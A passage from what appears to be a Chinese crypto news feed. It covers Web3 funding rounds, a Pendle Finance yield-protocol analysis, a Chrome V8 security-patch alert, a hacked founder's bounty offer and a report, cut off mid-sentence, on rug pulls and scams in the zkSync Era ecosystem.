Partners领投，gANGELS、gener8tor、以及Daniel Rotman、Adie Akuffo-Afful等投资人参投。EVEN目前处于测试阶段，允许艺术家直接向粉丝出售音乐作品，让粉丝获得独家音乐内容和体验，每笔交易都将记录在区块链上以提升透明度。 Web3 NFT游戏平台Gameta完成500万美元种子轮融资，Binance Labs等参投 Web3 NFT游戏平台Gameta宣布完成500万美元的种子轮投资，Binance Labs、Huobi Ventures等参投。Gameta将使用本次融资加快其游戏生态系统、代币和NFT体系建设，并扩大其用户群。Gameta是一个多层NFT游戏生态系统，为玩家提供Web3游戏和娱乐体验。在其最新NFT游戏Hippo Dash中，Gameta建立了让用户可以进行游戏、社交、经验共享以及Web3资产互动的Hippo Club NFT系统。根据官方介绍，该项目目前在BNB Chain上活跃用户中排名第一，也是Binance Labs的Most Valuable Builder孵化营获奖者。 链游Medieval Empires完成DWF Labs领投的300万美元融资 区块链游戏 Medieval Empires 完成 300 万美元融资，DWF Labs 领投。据项目路线图，这笔资金将加快游戏的制作速度，以便在今年年底公开发行。 据悉，Medieval Empires 已经为其 Land NFT 持有者推出了该游戏的抢先体验版本。 游戏工作室CEBG Studio完成300万美元私募融资，Youbi领投 游戏工作室CEBG Studio完成300万美元私募融资，Youbi领投，A&T、Hashkey、Kernel、GSR、Welight、IGG、Pepper、Bing Venture等参投。私募轮融资资金将用于项目的研发及社区发展。据官方推特，CEBG在4月8日开启为期一个月的Beta Test及Explorer社区空投。产品预计在6月正式发布。 公链Sei Network以8亿美元估值完成3000万美元融资 公链项目Sei Network 宣布以 8 亿美元估值完成 3000 万美元融资，Jump Capital、Distributed Global、Multicoin Capital、Asymmetric Capital Partners、Flow Traders、Hypersphere Ventures 和 Bixin Ventures 参投。本轮资金将用于开发与亚太地区市场推广。据悉，Sei 仍处于公开测试网络阶段，计划在今年晚些时候推出主网。 RSS3通过向DWF Labs出售代币筹集1000万美元 Web3信息分发协议 RSS3 通过向 DWF Labs 出售代币筹集了 1000 万美元。RSS3 之前吸引了来自 Coinbase、Dragonfly 以及著名企业家和前 Andreessen Horowitz 合伙人 Balaji Srinivasan 的投资。RSS3 最近还发布了 RSS3 AIOP，这是一个 AI 培训环境，可为 ChatGPT 等提供 Web3 信息。 CryptoGPT以2.5亿美元的估值从DWF Labs筹集1000万美元 专注于人工智能的ZK Layer 2 区块链 CryptoGPT 宣布以 2.5 亿美元的代币估值从 DWF Labs 筹集 1000 万美元。作为交易的一部分，同时也是做市商的 web3 投资公司 DWF Labs 也将为 CryptoGPT 的 GPT 代币做市。CryptoGPT 最近推出了一个专注于 Web3 的 AI 助手“Alex”，并正在开发其 ZK rollup layer 2 区块链和一个数据到 AI 引擎，该引擎为商业应用程序收集、加密和传输数据。 Web3钱包关系管理平台开发商Absolute Labs完成800万美元种子轮融资 Web3钱包关系管理平台WRM开发商Absolute Labs宣布完成800万美元种子轮融资，Aglaé Ventures、Alpha Praetorian Capital、Sparkle Ventures (Animoca Brands) 等参投，该公司打算利用这笔资金扩大业务和业务范围。WRM平台的用户包括LVMH、The Sandbox、Moonpay和Mocaverse，其为一款Web3 CRM解决方案，使营销人员能够获得对潜在客户的重要见解，统一Web2和Web3链上数据，确定可操作的细分并自动化跨渠道活动，包括整个营销渠道中的NFT空投。 zkRollup项目Intmax完成约488万美元种子轮融资，HashKey Capital等参投 zkRollup二层网络项目Intmax开发公司Ryodan Systems AG宣布完成约6.5亿日元（约合488万美元）种子轮融资，HashKey Capital、Scroll、Yusaku Maezawa旗下MZ Web3 Fund和Alchemy Venture，以及以太坊密码学家Justin Drake和前Coinbase首席技术官Balaji Srinivasan等天使投资人参投。 Protecc Labs完成150万美元种子轮融资，Dialectic Group领投 旨在为NFT构建简化层和生态系统的项目Protecc Labs宣布完成150万美元种子轮融资，Dialectic Group领投，UOB Venture Management、Signum Capital、Interlinked Capital、Side Door Ventures、0xVentures、Kronos Ventures、3.0 Capital、Concave Ventures、Cogitent Ventures参投。 链上生成艺术平台Tonic.xyz完成500万美元种子轮融资，Patron.xyz和TTCER联合领投 区块链生成艺术平台Tonic.xyz宣布完成500万美元种子轮融资，Patron.xyz和TTCER联合领投，该平台也是旧金山风险投资Heretic Ventures旗下投资组合之一。Tonic.xyz旨在重构艺术藏家体验，并将区块链艺术的访问范围扩展到加密原生消费者之外，让更多人了解和收集连接数字世界和物理世界的生成艺术。 加密资产取证公司CAT Labs完成430万美元融资 加密资产取证和网络安全公司CAT Labs 完成430万美元融资，Castle Island Ventures、Brevan Howard Digital、CMT Digital、RW3 Ventures和Newark Venture Partners参投。CAT Labs创始人Lilita Infante曾在美国司法部担任10年的特工，并创建了有史以来第一个专注于加密货币的联邦特别工作组。其具体业务为帮助政府客户从加密证据中恢复加密货币资产以及帮助私营部门防止加密资产被盗并保护其基础架构。 区块链珠宝公司Taylor&Hart完成400万欧元融资，Energetic Companions领投 区块链珠宝公司Taylor&Hart宣布完成400万欧元融资，Energetic Companions领投，理查德·布兰森创立的英国金融机构Virgin Cash和众筹平台Seedrs参投。Taylor&Hart利用区块链技术监测珠宝和钻石，以确保产品真实性并追踪每一步钻石流程，提升供应链透明度。Taylor&Hart声称自己是英国第一家使用区块链追踪钻石在戒指制作过程中的珠宝品牌。 加密欺诈预防及保护初创公司Fire完成350万美元融资 加密欺诈预防及保护初创公司Fire联合创始人6457.eth在社交媒体宣布，该公司已完成350万美元新一轮融资，Atomic领投。Fire开发的安全工具可以提升Web3安全体验，帮助用户避免遭到诈骗困扰并推动加密和NFT生态增长，其工具目前支持以太坊、Polygon、Optimism和Arbitrum等网络上的钱包。 去中心化地图网络Natix Network完成350万美元融资 去中心化地图网络Natix Network完成 350 万美元融资，Blockchange Ventures领投，XYO、Mysterium Network、CVVC、Mulana Capital、Blockarm Capital、Techstars、Plug and Play Ventures 和 CoinIX Capital等参投。 Web3忠诚度计划平台DappBack完成250万美元融资，IOSG Ventures等领投 Web3忠诚度计划平台DappBack完成250万美元融资，IOSG Ventures和Greenfield共同领投。DappBack为Web3协议提供了一个无代码的自助服务平台，以构建定制化的社区奖励系统，获取真实用户并推动活跃参与。链上协议、DAO、DEX等和直接面向消费者的品牌均可使用DappBack的SaaS平台来构建和发布他们链上及链下任务和奖励，定制化基于品牌特性的NFT或原生代币忠诚度计划。 去中心化AI集成初创公司AiONE完成100万美元种子轮融资 去中心化AI集成初创公司AiONE宣布完成100万美元种子轮融资，一批私人投资者参投，新资金将用于加速AiONE平台基础设施建设、扩大生态系统并寻求更多战略合作伙伴。AiONE主要帮助企业、项目方将人工智能设计集成到各类业务开发流程中，该公司已推出了原生代币AIONE，将用于基础设施服务、人工智能驱动的购买、质押奖励分配、参与社区治理投票等，其主网预计将在2023年内上线。 Web3 AI创业公司ReAI.chat完成50万美金融资，FaTLabs投资 Web3 AI创业公司ReAI.chat宣布完成50万美金融资，由FaTLabs投资，将专注于web3领域的AI知识库。ReAI是一家主打web3知识库的AI创业公司，目前主要分为两款产品线，针对web3项目方和社区，ReAI提供定制的AI MOD服务，项目方可以直接将官网/白皮书/AMA/媒体等各类型内容输入给ReAI，即可获得一个24小时的AI MOD在自己的社区回答用户的各类型问题。针对个人用户，ReAI将会是他们的知识库。 提供加密货币零售交易的金融服务公司Tradier完成2460万美元B轮融资 提供加密货币零售交易的金融服务公司Tradier宣布完成2460万美元B轮融资，PEAK6 Strategic Capital领投，此前曾投资过该公司的Prime Capital和KF Business Ventures参投。Tradier的全功能平台支持加密货币、股票和期权交易，用户能在Tradier Brokerage和加密账户之间无缝导航，该公司计划利用新资金扩大产品范围、拓展API、以及提升全球借记融资、期货和加密货币细分市场。 Web2.5金融基础设施公司Brassica完成800万美元融资，Mercury Fund领投 Web2.5金融基础设施公司Brassica宣布完成800万美元融资，Mercury Fund领投，Valor Equity Partners、Long Journey Ventures、NGC Fund等参投，截止目前该公司的融资总金额已达到1200万美元。Brassica主要为私人投资和数字资产行业提供服务，在传统金融和Web3创新之间提供安全无缝过渡，其机构级解决方案使数字资产投资更加合规和安全。 破产索赔交易平台Xclaim完成700万美元的A轮融资 破产索赔交易平台 Xclaim 已完成 700 万美元的 A 轮融资。Xclaim 近期增加了加密货币破产公司。Xclaim 允许交易主要的破产债权人债权，包括 FTX、Genesis 和 BlockFi。目前，FTX 的索赔价格为 19 美分，高于今年早些时候的 13 美分，而 Genesis 为 52.5 美分，BlockFi 为 18 美分。 Web3即时支付金融科技公司Helio完成330万美元种子轮融资，Peak和Lightspeed Faction领投 总部位于英国伦敦的Web3支付金融科技公司Helio宣布完成330万美元种子轮融资，Peak和Lightspeed Faction领投，RockawayX、Solana Labs和一批天使投资人参投。Helio帮助商家、dApp和创作者可以轻松地接受跨链即时加密支付，目前支持Solana、Polygon和以太坊区块链，其服务范围包括电子商务、NFT销售、SaaS订阅、内容付费墙和其他支付。 Sei Labs生态基金完成5000万美元新一轮融资，Bitget和Foresight Ventures参投 在刚刚完成一轮估值为8亿美元的融资后，Sei Labs再次宣布其生态基金完成5000万美元新一轮融资，总部位于塞舌尔的加密货币交易所Bitget和Foresight Ventures参投，截止目前该公司的融资总金额已达到1.2亿美元。据悉，在一个月前推出的最新公共测试网中，Sei已经处理了超过4000万笔交易，并有超过360万用户创建了钱包。 Skyland Ventures旗下Web3基金完成约3800万美元募资，SBI集团参投 日本风投机构Skyland Ventures宣布其名为“Skyland Ventures No.4 Fund”的Web3基金完成总计50亿日元（约合3800万美元）的募资，SBI集团作为新投资者参与了此次募资。  ( 5 min )
    美议员拟提出立法以罢免SEC主席Gary Gensler，因其在加密监管中滥用职权
    PANews 4月17日消息，在昨日对Coinbase首席法务官Paul Grewal推文的回应中，美国众议院金融服务委员会的共和党成员Warren Davidson表示：“为了纠正一长串的滥用行为，我正在提出立法，罢免证券交易委员会（SEC）主席Gary Gensler，并以向董事会（权力所在的机构）报告的执行董事取而代之。美国证券交易委员会前主席没有资格。” 此前4月14日消息，美国SEC更新规则，更加明确对数字资产交易平台的监管。  ( 1 min )
    解读DeFi协议Pendle Finance：如何为收益产品搭建乐高？
    投资逻辑 完整的收益策略工具包 在传统金融市场中，利率衍生品的日交易量高达数万亿，市场参与者利用这一金融产品可以进行投机或对冲利率的波动。随著去中心化金融（DeFi）的不断成熟，这类收益的机会也将逐步增加。无论是为GMX/Gains Network上的交易提供流动性，还是参与像Lido这样的流动性质押，寻求收益的投资者都有很多选择。但是用户如何在今天的市场上进行收益率交易呢？例如，如果我认为GLP目前提供的收益率被低估，并有望在未来几天内上升，该怎么办？如果我认为目前的Stargate收益率并未准确反映稳定币交易量，可能会快速下跌，该怎么办？如果我只想保持市场中立地位，赚取额外收益呢？ 随着以太坊Shapella升级等短期收益率投机机会的出现，Vu Gaba Vineb简明扼要地概述了ETH和LSD收益率变化的各种可能性——无论你认为它会上升、下降还是横盘，Pendle都有对应的策略让你来获利。 Pendle为用户提供了一整套工具，让他们通过折扣资产购买享受固定收益，通过YT（下面会详细介绍）进行收益投机，或者参与他们的资金池，通过交换费用和奖励赚取额外收益。像Equilibria这样的协议已经在利用Pendle构建更多的收益增强策略，在我们预见未来将有更多的协议将会基于Pendle来开发产品。在面对个人投资者方面，Pendle简化了用户界面来优化用户体验，方便用户参与各种收益策略。 我们对Pendle为收益率交易者开辟新范式感到兴奋，因为他们现在可以根据市场的波动管理所持有资产的风险。 Pendle Finance 创立于2021年，是一个去中心化金融（DeFi）协议，用户可以以折扣价格购买资产，参与各种收益策略，或通过为资金池提供流动性赚取收益。目前，Pendle已在以太坊和Arbitrum上部署。TVL 从2022年12月的780万美元增长到今天的6050万美元，在短短五个月内增长了近775%。 SY、PT和YT Pendle是一个收益率交易协议，我们可以将生息资产（如GLP，stETH，aUSDC等）的收益标记为YT和PT，其中持有YT将获得收益，PT代表本金。由于YT的收益部分被剥离了，用户将能够以折扣价格购买PT。例如，购买PT-GLP相当于以折扣价格获得GLP，1个PT-GLP在到期时可兑换为1个GLP。PT-GLP折扣是如何确定的呢？从根本上讲，折扣率是由市场对PT-GLP的需求决定的。如果对PT-GLP有很大需求，折扣自然会降低，反之则需求较小。 SY是什么？它是一个代币标准，SY实现了一个标准化的API，用于在智能合约中Wrap形式的生息资产。 之后，这些生息资产的本金和收益可以被剥离成PT和YT代币。观察下面的图表，SY是指底层的收益资产（在这个例子中是aUSDC），然后分为PT-aUSDC和YT-aUSDC。这为用户提供了大量策略。 对于希望避免波动的用户，可以在当下通过以折扣价格购买PT代币并持有到期。例如，如果PT-GLP以22.5%的折扣交易，这意味著如果您今天购买1个PT-GLP，交易者实质上锁定了22.5%的收益，并获得固定回报。如果交易者还认为未来收益将低于22.5%，这使您有机会以盈利价格出售PT-GLP，或者相比仅持有GLP，获得更高的收益。另一方面，希望对未来收益进行投机的用户可以购买YT代币，以提高他们对收益率的敞口。在这种情况下，您可能认为22.5%的收益被低估，那么您可以在今天购买1个YT-GLP，并在收益上升至22.5%以上时出售，或者在到期前赚取额外收益。总之，购买PT相当于做空收益率，而购买YT相当于做多收益率。 对于寻求更加被动的策略的用户，Pendle上的流动性池是简单易行的方式。池子年化收益率（APY）由四个收益来源组成： (a) 来自持有PT至到期的固定收益率； (b) 来自收益资产（例如GLP）的底层代币协议奖励； (c) 来自SY、PT和YT交易的手续费； (d) Pendle奖励；通过抵押Pendle获得vePendle的额外收益。 如您所见，这些收益非常具有吸引力，由于池资产之间的高度相关性，加上Pendle独特的自动做市商（AMM）设计，用户几乎不会面临无常损失。随着时间的推移，我们应该会看到生息资产的增加。 独特的AMM设计 在Pendle v2中，主要创新在于为收益率交易设计和构建的AMM交易平台。由于池子中的资产都是高度相关的，这将降低波动性所带来的无常损失（IL）。更重要的是，如果资产留在池子中直到到期，那么无常损失将为0。因为在到期时，池子中的PT将等于基础资产。总之，用户将能够在SY、PT和YT之间进行交易，几乎不会产生无常损失。 Pendle v2 AMM的另一个特点是更高的资本效率。通过引入闪兑，用户现在可以在简单的用户界面上轻松购买YT，并开始参与各种收益策略。这意味着LP可以在单一流动性提供中、从PT和YT兑换中赚取手续费，而交易者则可以享受更大的流动性，从而降低滑点。 随着各种生息资产的出现，无论是通过借贷平台（如Aave、Compound等）还是通过在LSD平台上进行抵押产生的，Pendle都有庞大的市场可以扩展。 Pendle借鉴了veCurve和Solidly模型，现有代币持有者可以抵押 $Pendle 以获得 $vePendle，从而减少市场上$Pendle的流通供应。$vePendle 的一个主要吸引力是赚取协议收入的一部分。今天，Pendle V2 中有两个协议收入来源： YT 费用：Pendle 从 YT 产生的所有收益中提取 3%。 Swap费用：Pendle 从交易价值中提取 0.1%，随着到期时间的缩短而降低，反之亦然。 上述费用的 20% 归流动性提供者所有，其余将分配给 $vePendle 持有者。此外，已到期的 PT 收益也将按比例分配。 $vePendle 代币持有者还可以根据他们的投票权重，每周将 $Pendle 奖励再投向流动性池，在他们提供流动性的任何 Pendle 池中就能获得增加的奖励（最高 2.5 倍）。 $vePendle在2年内线性减少，之后，$Pendle将被释放。因此，希望维持其投票权重/ $vePendle 代币价值的用户将需要延长他们的抵押持续的时间或抵押金额。 近期增长的促进因素 LSDs 将会爆炸式增长 在 Shapella升级之后，用户将可以提取以太坊。这样，流动性抵押衍生品将能更好地维持其锚定价格，使其成为更好的借款抵押品，这将会提升DeFi协议的利用率。截至2023年4月 6 日，Defillama的数据显示，LSD行业的TVL已增长至166亿美元，在所有DeFi细分行业中排名第二。 资料来源： Defillama 在一个正在蓬勃发展的生态系统中，Pendle的定位是支持这些LSD资产的基础设施。目前，Pendle已经展现了吸引力，已经得到了像 Lido、Frax、Rocketpool、Aura、GMX 和 Stargate 这样的知名项目的支持。我们认为，随着协议获得更多的合作伙伴，以及生态系统的其他项目开始欣赏Pendle在流动性提供方面的出色设计，TVL将会继续攀升。与其尝试选择头部LSD项目，我们更喜欢 Pendle这样的作为支持协议的独特定位。希望对其LSDs进行更加积极的对冲或收益提升的用户可以关注Pendle的折扣资产。 市场上固定收益产品的缺口 固定收益产品在传统金融中司空见惯，但在加密货币领域中较为少见。收益波动一直是加密货币的主题之一，例如stETH的收益率在最近 30 天内波动通常在 4-5% 之间，峰值达到 7.1%，甚至在2022 年 11 月达到 10.2%。 来源： DeFiLlama 波动的收益率带来了不确定性，特别是对于持有杠杆头寸的投资者。这要求他们更积极地管理收益，投资者需要衡量其头寸相对于其他 DeFi 项目的机会成本和风险。因此，对于投资者而言，固定收益率提供了一种更有效且省心的策略。 正如我们所见，用户可以分别以 9.09% 和 5.12% 的折扣获得gDAI 和USDT，只要将它们持有到期，这要比今天的传统固定收益产品（例如 T-bills 约 4.5%）高出很多。 总之，我们认为 Pendle 现在为用户提供了多种工具来管理各种收益策略。传统金融中的固定收益和利率衍生品市场规模巨大，我们认为随着时间的推移，Pendle 将能够吸引到更多机构资本的关注和青睐。 Pendle 使用标准化的形式来将生息资产代币化，这使得它在未来更容易整合其他的生息资产，并为其他 DeFi协议解锁更多的可组合性，让他们集成Pendle或在Pendle之上构建更多、更丰富的应用。  ( 3 min )
    预警：谷歌Chrome浏览器紧急发布安全补丁，修复可盗取比特币私钥等信息的漏洞
    PANews 4月17日消息，据IT之家报道，近日，谷歌发现Chrome浏览器存在一个严重的安全漏洞，该漏洞已经被黑客利用，可能导致用户的数据和电脑受到损害。为了解决这个问题，谷歌紧急推出了一个安全更新112.0.5615.121版本，并建议所有的Chrome用户尽快安装。 这个漏洞被命名为CVE-2023-2033，是一个类型混淆漏洞，出现在Chrome浏览器使用的V8 JavaScript引擎中。简单来说，类型混淆漏洞是一种允许使用错误的类型访问内存的Bug，从而导致越界读写内存。这个漏洞的危险之处在于，黑客可以制作一个恶意的HTML页面，利用堆内存的损坏来执行任意代码。有用户指出，所造成的危害包括但不限于盗取比特币私钥、盗取通讯录、相册等敏感文件等。 一般来说，Chrome浏览器会自动更新，但用户也可以手动检查是否已经安装了最新版本。用户可以点击Chrome浏览器右上角的三个点菜单，选择“帮助”，然后选择“关于Chrome”来查看自己的版本号。此外，如果用户在Microsoft Edge、猎豹、360等浏览器中使用了Chrome内核的浏览器，也需升级最近版本以避免被攻击。  ( 1 min )
    Bitget Launchpad进入充值倒计时阶段，将于今晚18:00关闭充值通道
    PANews 4月17日消息，Bitget于4月12日上线了全新Launchpad 项目GoSleep（ZZZ)，目前参与人数已超4万，本期充值金额已达到 6600 万美元。充值通道将于4 月 17 日 18:00（UTC+8）关闭，4 月 17 日 18:00（UTC+8）- 4 月 17 日 21:00（UTC+8）官方将进行票数统计，4 月 17 日 21:00（UTC+8）官方将公布最终得票结果。并将于4 月 19 日 20:00（UTC+8）上线ZZZ/USDT现货交易对。 GoSleep 是 Arbitrum 生态 Top 1 的 Web3 睡眠追踪与健康生活奖励应用。旨在激励玩家追求健康生活方式，通过对睡眠模式的个性化建议，帮助玩家逐渐养成健康的睡眠习惯。其已完成 200 万美元融资，Foresight Ventures 领投，CCC Capital、Amber Group、SevenX Ventures、KuCoin Ventures 和 Gate Labs 等参投。  ( 2 min )
    Eureka Trading创始人：去年因私钥泄露被盗1500万美元，愿向协助追回者提供报酬
    PANews 4月17日消息，加密领域金融衍生品的交易公司Eureka Trading创始人Kuan Sun在推特上表示：“去年6月本人因为私钥泄露，被黑客盗取资金1500万美金，目前虽然有了一些初步的IP等信息，但是还未能确定黑客的身份，希望有能力提供有价值线索的人士或者单位能够协助追回，可以提供报酬。黑客地址：0xa1ac23be458e14ac0a0003dc1343d2ac575ea3b6。至少20%的资金会被用来当做报酬，具体比例视乎贡献程度。所以至少是300万美金的报酬，有能力的都可以试试。”  ( 1 min )
    新链泡沫：zkSync Era∎乱象丛生
    原文作者：Leo、Jaleel，BlockBeats 谁能想到，在短短几天里，募集了 921 个 ETH 被社区极度看好的新项目因合约写错导致资产被锁死，募集了 300 个 ETH 的项目直接 RUG，生态内 DEFI TVL 排名第一的 SyncSwap 中文号因空投言论被弃用，排名第二的 Velocore 开了新号推出新的 ID0 被指有跑路倾向。 而这些短期内密集发生的项目跑路事件，都发生在备受期待的 zkSync Era 链上，zkSync Era 一直被大家认为是一个非常有前景的链，也明确将在明年发币。 在今天的社交媒体上也流传着一个截图，列举了 zkSync Era 目前的一些项目离谱和无奈，可以说很好的展现了它的尴尬现状：生态项目乱象丛生，正规军未上，土狗先热场。接下来的故事让我们先从生态上的 DEX SyncSwap 的离谱操作开始说起。 SyncSwap 中文号弃用风波 SyncSwap 的社区讨论风波的源头是 SyncSwap 社交媒体中文区的几次发文。在最近的一次发文里，SyncSwap 中文道歉称：「空投份额 15%，空投是空投，空投激励是空投激励」，且表示该社交媒体账号已被 SyncSwap 账号弃用。 正如我们所知的，SyncSwap 是最初建立在 zkSync Era Testbet上的去中心化交易平台，此后正式上线 zkSync Era 主网。该协议旨在成为 zkSync Era 网络交易层级别的流动性解决方案，且协议是完全开源和可组合的。该 Dex 具有无许可、完全开放公众使用的特性，任何人都可以随意 token swap，成为 SyncSwap 上的流动性提供者，赚取利益。 再将时间往几天之前倒推，我们发现 SyncSwap 中文的此番言论来源于，SyncSwap 中文区曾表示空投与交易激励是不作区分的，也就是说面向交互群体的交易激励，用户交互一般不会消耗大量成本，但若推出交易激励，最后大概率会变成大家口中的「撸羊毛不成反被撸」。此言论发布后遭到众多用户抵制、谩骂，而后 SyncSwap 中文区再次澄清：「空投 15% 份额，交易激励与空投是分开的，我猜到交易激励会被中文社区 FUD，尽管我一开始建议增加空投份额，但并未成功。」 一整套操作下来，能感受到 SyncSwap 中文区因项目占大份额的 zkSync Era TVL 而自视甚高，对用户完全不在乎的态度也让大家对该项目好感下降。而在此前，无论是交互还是体验，SyncSwap 都是个不错的项目，该项目可以连接 zkSync Era Mainnet、zkSync Era Tesenet、Scroll Alpha、Polygon zkEVM Testnet，对于撸空投的用户来说，高 TVL，可与连接多条网络，是有机会实现一鱼多吃的「优质项目」。 那 SyncSwap 推出的「忠诚度 token 计划」又是什么呢？据官方文件显示，该忠诚度计划旨在激励用户交易并带来高收益，交易者将获得 ySYNC token 奖励（无法转移），交易成本费用越贵，ySYNC 越多，每消耗 1 美元的 Gas 就会获得一枚 ySYNC，第一期计划总量 90w 枚 ySYNC，但随着参与人数越多，ySYNC 的价格就会下跌，ySYNC 可以 swap 成 veSYNC。以往也有很多项目做交易激励，但最终效果都不理想。 SyncSwap 此番操作让人很「不理解」，大家使用 SyncSwap 大多只是为了 zks 的空投，进一步说，该项目只是为了增加在 zkSync Era 上的交易量和交易次数，并不是因为 SyncSwap 做得有多好。大毛还没明确规则，小毛就已经开始要反撸用户了。 让我们顺着 SyncSwap 的事再来看看生态上其他一些大大小小的项目风波。 4 月 7 日，Gemholic 募资的 921 ETH ID0 资金因 zkSync Era 不兼容转账功能而卡在智能合约中。zkSync Era 官方随即表示，将会协助追回资金，之后发布声明称已找到一个解决方案来解冻合约。接着 Gemholic 表示，解冻后会让社区投票，决定之后是退回 eth，还是开盘继续项目。 而顶着「zkSync 时代的第一个 ve 代币」的 Velocore，在发售前就声称要通过将激励与质押结合起来，从而有效地解决了溢出销售的固有问题。因此社区一度火热，预售也在短短几分钟内就销售一空，超出预期 1800%，累积了约 8,600 ETH，TVL 暴增。 然而，随着项目空投规则的分发，许多社区成员发现空投领取竟还需要线性解锁，都认为 Velocore 此举不体面，在空投发放时有反悔迹象，$VC 的价格随之应声大跌。而此时的团队成员并没有做出危机处理，而是开了一个新的推特账号，准备推出新的 ID0，社区成员心态再次崩了，大骂项目方此举已经是「司马昭之心路人皆知」，这个盘不行就准备再开一个盘圈人。 相比于 Gemholic 的资金被卡和 Velocore 的疑似跑路，corehunter、Syncdex、ZksYncHero 则是直接删除推特账号，更加直接的确认跑路了。 最开始先是 corehunter 募集了 300E 之后，直接关了网站跑路。 接着之后几天，有人质疑 Syncdex 的智能合约不允许在质押中提取资金，同时又有人发现项目方的官推疑似是从 betgosu 这个 handle 摇身一变而来的，社区在 dc 中对此提出质疑，官方却三缄其口，甚至对提及 betgosu 的成员直接踢除。 对于骗局逐步败露，团队无法再对谎言给出解释，先是关闭了回复，到最后直接删除账号。SlowMist 也发布了安全警报 ：「SyncDex 项目已经进行了割韭菜退出，导致超过 37 万美元的损失。」SyncDex 在 UTC+8 时区的凌晨 3:00 确认了割韭菜的动作，官方 Twitter 账号已被删除。 经过 MistTrack 团队的调查，发现这些资金已经被兑换成了以太坊，并转移到了币安智能链，之后再次兑换成 BNB，最后被转移到了 MEXC 交易平台，而项目的初始资金也来自于 MEXC 交易平台。 ZkHero 与 SyncDex 的跑路操作几乎如出一辙，先是不啰嗦直接开盘币，吸引社区成员用钱包连接 ZkSyncHero 之后点击领取 token，钱包就会被盗排空。为了让这样的声音不被听到，ZkHero 先是开启禁用评论，接着直接删除账号。 有社区成员说，ZkHero 50% TGE 预售，5% 给团队，任何看过该 token 分布的人都应该能判断这是一个骗局。根据链上信息显示，ZkHero 团队最后将「黑」到的 Token 汇给了几个不同的地址，疑似分赃，一人 10E。 生态现状乱象丛生 近期的空投导致大家对撸毛的期待值越来越高，而 FOMO 情绪也带动了 zkSync Era 和其他 L2 的频繁交互，致使 zkSync Era 在短期 TVL、钱包数量、跨桥资金等数据纷纷暴涨，此类数据暴涨并不是因为 zkSync Era 做得有多好、其生态项目做得多好，只是 ARB 带来了撸毛情绪还未消散。 但对于用户来说，可交互的前提是需要评判一个项目/链/市场是否是优质的，退一步讲，评判标准甚至可以降低到「该项目是否是在快速发展」、「项目方是否真的在做事」。此前宣布空投的 Arbitrum，虽不能说是很优质，但至少该链上有一些不错的项目，比如，GMX——Arbitrum 上的龙头 DEX。 对社区来说，趁着$ARB 空投的热度，一堆诈骗项目都登陆了 zkSync Era，要识别正经项目更难上加难了。也有人直指 zkSync Era 帮助宣传骗局，生态应该承担起一定的「审核」和「KYC」责任。 对此生态认为：「我们不是在宣传骗局。如果我们知道他们是骗局，我们就不会宣传他们。我们宣传他们的时候一切都很好。我们能做的最好的事情就是立即将我们注意到的情况告知社区。」同时，zkSync Era 也希望社区能尽早指出骗局，而不是等到事情真的发生了再抱怨并开始指责。事实上，大多数时候这些项目们看起来是正规和合法的，直到有人受骗上当为止，否则很难确认谁是骗子。 做项目应该是通过自身的硬实力将用户群体带入 Crypto，而不是在投机时刻将用户带入 Crypto 后开始「割韭菜」。正因为 zkSync Era 跑路成本低，最近发生了如此多的跑路项目和连锁反应，社区也对 zkSync Era 生态的所有项目产生了极大的信任危机，对团队成员也更谨慎和苛责了。 与此同时一些半实名的项目也发出苦水：「那么多跑路项目的募资，都比我们正经项目的募资多」。 团队表示很受打击，考虑全部退款放弃，最后因一些社区成员的挽留，而选择了让社区用户参与投票来决定，是否要全部退款，放弃继续运作项目。 Zkrocket 的社群中有人表示，关于热度少的问题，是因为项目方为了抢占赛道，所以显得操之过急，一开始也过于自信，白名单轮遇到一些问题，所以导致大部分合作被取消掉大部分原来设定的白名单，才造成白名单轮的 IDO 募资情况不理想。但项目方也比较中肯，没有选择自己去凑数去打满剩下的额度。 除了一些支持 Zkrocket 的声音外，但是也有人说：这没准是一种新的骗局套路。但这是不是新的骗局，BlockBeats 就不得而知了。 这些事件也引发了对 zkSync Era 生态项目的一些思考，除了龙头 DEX SyncSwap 之外，一些 zkSync Era 上排名靠前的其它 DeFi 应用都是骗局吗？ 让我们用数据来客观评价一下 zkSync Era 的这些 DEX 应用。据 DefiLlama 数据显示，目前 zkSync Era 上 TVL 排名在 SyncSwap 之后的分别是：Velocore、Mute.io、SpaceFi。 根据 DefiLlama 的数据显示，TVL 约 6176 万美元。在界面上，简洁易操作，可以打出 8 分；Swap 功能支持 9 种 token；Gas 消耗为 1.94 刀（本文以 0.003ETH 为例，几乎在同一时间进行 swap）。 再来看看 Pool，可以发现流动性池的组成比较丰富，USDC/ETH、BUSD/USDC、ETH/OT 等，需要注意的是，市场上支持 OT 的 DEX 仅此一家，这也是 SyncSwap 高 TVL 的原因之一； 在社交媒体方面，SyncSwap 有 27 万粉丝，但因空投事件，用户好感度有所下降。 除了 SyncSwap 外，Velocore 是 zkSync Era 排名名第二的 DEX，也正是我们在前文提到的因空投规则是线性解锁而价格大跌，团队开了新号准备开始其他 IC0 的项目方。 Velocore 是一个 Solidly 分叉 DEX，基于 Velodrome 代码，旨在奖励提供流动性的用户，增强 zkSync Era 的基础设施。TVL 约 2017 万美元；界面不算简洁，6 分；Swap 功能仅支持 7 种 token，Gas 为 2 刀。Pool 深度上，由于 ve 机制，流动性池相比 SyncSwap 低；社交媒体有 1.1 万粉丝，由于是 3 月分新建的社交媒体，这个数字还算不错。 Mute.io 是一个 DeFi 平台，为所有 zkSync Era 生态协议建立流动性，其 Dapp 是 Mute Switch，是一个 AMM DEX w/limit 订单簿、挖矿和债券平台。Mute 是 zkSync Era 协议的一种解决方案，可以适当地激励其自身用例的流动性。TVL 约 1331 万美元；界面简洁易操作，可达 8 分；Swap：支持 11 种 token，Gas 为 1.8 刀。Pool 上的 APY 在 14%-71% 之间，当然一些高的 APY 均来自于某些不知名 token 与 WETH 对；社交媒体是 2018 年 3 月创建，约 6.2 万粉丝。 SpaceFi 是基于 Evmos 和 zkSync Era 的跨链 DeFi 平台，SpaceFi 初始产品旨在连接 Cosmos 和 Layer2 生态系统，用户可通过流动性、交易挖矿或将 STAR Token 铸造成 NFT 获得更高的收益、治理权等，从而获得 DeFi 奖励。TVL 约 764 万美元；界面简洁易操作，8 分；Swap 功能支持 4 种 token，Gas 为 1.52 刀。社交媒体：2021 年 4 月创建，约 14.5 万粉丝。 BSC、Arbitrum 和 Aptos 不只是 zkSync Era，让我们回看 2020 年，当时的币安智能链（BSC）上线已有两个月，许多新的去中心化金融（DeFi）项目加入 BSC，与此同时，匿名 DeFi 项目跑路也屡见不鲜。 一个名为「Wine 